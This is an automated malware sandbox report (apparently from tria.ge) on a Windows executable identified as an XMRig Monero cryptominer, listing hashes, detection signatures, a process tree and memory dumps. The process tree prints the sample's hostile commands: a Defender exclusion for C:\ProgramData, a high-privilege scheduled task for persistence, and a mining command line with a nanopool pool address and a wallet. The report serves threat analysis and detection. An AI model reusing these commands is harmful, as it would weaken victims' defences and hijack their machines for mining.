Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    69s
  • max time network
    134s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    06/02/2023, 13:10

General

  • Target

    file.exe

  • Size

    1.9MB

  • MD5

    d1949ae00330d3c0f7cc282d2f6952cc

  • SHA1

    f94a50cdd1aff1fe2f7f4135647df2a680ac3e79

  • SHA256

    0f1f360e32236b3af68ae241d8604a202c3de6d93603163d2af21364263fceb7

  • SHA512

    0f1499ee262e56c4771490fee60c4d76ba8625b6b5004ca73be437c6f17e5a358237c03fc78da07c6a7043ef52252f73cdadd4635c5eef38dbe5cc3fd36b2730

  • SSDEEP

    24576:Nx2pKMUGjuNYmUeV5CMl307hOhkMIIj0VOyp2VmmBgbc2vLmmsanDJY++JyBBT9:Nx4U2mV6MV28m9vF2/2c29YjyBBx

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 14 IoCs
  • .NET Reactor proctector 3 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:616
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:664
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "XORES" /tr "C:\ProgramData\Review\XORES.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1536
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "XORES" /tr "C:\ProgramData\Review\XORES.exe"
        3⤵
        • Creates scheduled task(s)
        PID:1544
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:376

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/376-98-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/376-128-0x0000000000000000-0x0000000001000000-memory.dmp

    Filesize

    16.0MB

  • memory/376-127-0x0000000000000000-0x0000000001000000-memory.dmp

    Filesize

    16.0MB

  • memory/376-126-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/376-125-0x0000000000000000-0x0000000001000000-memory.dmp

    Filesize

    16.0MB

  • memory/376-124-0x0000000000000000-0x0000000001000000-memory.dmp

    Filesize

    16.0MB

  • memory/376-122-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/376-121-0x00000000000E0000-0x0000000000100000-memory.dmp

    Filesize

    128KB

  • memory/376-120-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/376-117-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/376-115-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/376-113-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/376-112-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/376-110-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/376-108-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/376-107-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/376-105-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/376-103-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/376-101-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/376-99-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/616-71-0x000007FEF62B0000-0x000007FEF63DC000-memory.dmp

    Filesize

    1.2MB

  • memory/616-76-0x000007FEFEDF0000-0x000007FEFEEC7000-memory.dmp

    Filesize

    860KB

  • memory/616-56-0x000007FEF6620000-0x000007FEF66BC000-memory.dmp

    Filesize

    624KB

  • memory/616-57-0x000007FEFD630000-0x000007FEFD697000-memory.dmp

    Filesize

    412KB

  • memory/616-58-0x0000000076E30000-0x0000000076F2A000-memory.dmp

    Filesize

    1000KB

  • memory/616-59-0x000007FEFD510000-0x000007FEFD5AF000-memory.dmp

    Filesize

    636KB

  • memory/616-60-0x0000000076D10000-0x0000000076E2F000-memory.dmp

    Filesize

    1.1MB

  • memory/616-83-0x00000000000E0000-0x0000000000123000-memory.dmp

    Filesize

    268KB

  • memory/616-123-0x00000000010E0000-0x00000000012BE000-memory.dmp

    Filesize

    1.9MB

  • memory/616-61-0x000007FEFD050000-0x000007FEFD0BC000-memory.dmp

    Filesize

    432KB

  • memory/616-86-0x000007FEFB1C0000-0x000007FEFB3D5000-memory.dmp

    Filesize

    2.1MB

  • memory/616-88-0x000007FEFDB50000-0x000007FEFDB6F000-memory.dmp

    Filesize

    124KB

  • memory/616-89-0x000007FEFA6D0000-0x000007FEFA6EC000-memory.dmp

    Filesize

    112KB

  • memory/616-90-0x000007FEF0CA0000-0x000007FEF0D02000-memory.dmp

    Filesize

    392KB

  • memory/616-91-0x000007FEFDB00000-0x000007FEFDB4D000-memory.dmp

    Filesize

    308KB

  • memory/616-92-0x000007FEF9D50000-0x000007FEF9DB4000-memory.dmp

    Filesize

    400KB

  • memory/616-93-0x000007FEF9DC0000-0x000007FEF9E31000-memory.dmp

    Filesize

    452KB

  • memory/616-94-0x000007FEFCB40000-0x000007FEFCB65000-memory.dmp

    Filesize

    148KB

  • memory/616-95-0x000007FEFA850000-0x000007FEFA877000-memory.dmp

    Filesize

    156KB

  • memory/616-96-0x000007FEFCE30000-0x000007FEFCE66000-memory.dmp

    Filesize

    216KB

  • memory/616-97-0x000007FEFC390000-0x000007FEFC3EB000-memory.dmp

    Filesize

    364KB

  • memory/616-62-0x000007FEFD490000-0x000007FEFD501000-memory.dmp

    Filesize

    452KB

  • memory/616-63-0x000007FEF6520000-0x000007FEF6617000-memory.dmp

    Filesize

    988KB

  • memory/616-64-0x000007FEFF0C0000-0x000007FEFF19B000-memory.dmp

    Filesize

    876KB

  • memory/616-73-0x000007FEFC570000-0x000007FEFC587000-memory.dmp

    Filesize

    92KB

  • memory/616-72-0x000007FEFC6C0000-0x000007FEFC6E2000-memory.dmp

    Filesize

    136KB

  • memory/616-55-0x000007FEF6E20000-0x000007FEF6E8F000-memory.dmp

    Filesize

    444KB

  • memory/616-70-0x00000000010E0000-0x00000000012BE000-memory.dmp

    Filesize

    1.9MB

  • memory/616-69-0x000007FEFD280000-0x000007FEFD483000-memory.dmp

    Filesize

    2.0MB

  • memory/616-68-0x000007FEFD6A0000-0x000007FEFD7CD000-memory.dmp

    Filesize

    1.2MB

  • memory/616-67-0x00000000000E0000-0x0000000000123000-memory.dmp

    Filesize

    268KB

  • memory/616-66-0x00000000010E0000-0x00000000012BE000-memory.dmp

    Filesize

    1.9MB

  • memory/616-65-0x000007FEF55A0000-0x000007FEF5F8C000-memory.dmp

    Filesize

    9.9MB

  • memory/664-75-0x000007FEFB7B1000-0x000007FEFB7B3000-memory.dmp

    Filesize

    8KB

  • memory/664-77-0x000007FEECD60000-0x000007FEED783000-memory.dmp

    Filesize

    10.1MB

  • memory/664-82-0x00000000028CB000-0x00000000028EA000-memory.dmp

    Filesize

    124KB

  • memory/664-81-0x00000000028C4000-0x00000000028C7000-memory.dmp

    Filesize

    12KB

  • memory/664-80-0x000000001B890000-0x000000001BB8F000-memory.dmp

    Filesize

    3.0MB

  • memory/664-78-0x000007FEEC200000-0x000007FEECD5D000-memory.dmp

    Filesize

    11.4MB

  • memory/664-79-0x00000000028C4000-0x00000000028C7000-memory.dmp

    Filesize

    12KB